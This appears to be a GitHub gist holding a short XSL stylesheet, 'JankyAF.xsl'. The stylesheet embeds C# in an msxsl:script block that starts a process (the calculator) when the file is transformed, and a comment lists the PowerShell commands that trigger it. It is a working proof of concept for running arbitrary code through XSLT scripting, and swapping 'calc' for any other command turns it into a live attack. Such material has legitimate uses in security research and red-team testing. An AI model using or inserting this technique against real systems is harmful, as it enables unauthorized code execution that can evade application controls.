Skip to content

Instantly share code, notes, and snippets.

@Moriarty2016
Created May 23, 2018 14:46
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Moriarty2016/d6e1e9ac0f06a30fead3b0efbe63d629 to your computer and use it in GitHub Desktop.
Save Moriarty2016/d6e1e9ac0f06a30fead3b0efbe63d629 to your computer and use it in GitHub Desktop.
JankyAF.xsl
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:u="urn:my-scripts">
<!--
'<a/>' > blah.txt
$xslt = New-Object System.Xml.Xsl.XslTransform
$xslt.Load("$pwd\JankyAF.xsl");
$xslt.Transform("$pwd\blah.txt","$pwd\blah.txt")
-->
<msxsl:script language="C#" implements-prefix="u">
<![CDATA[
public void BoomTown(){ System.Diagnostics.Process.Start("calc"); }
]]>
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="u:BoomTown()"/>
</xsl:template>
</xsl:stylesheet>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment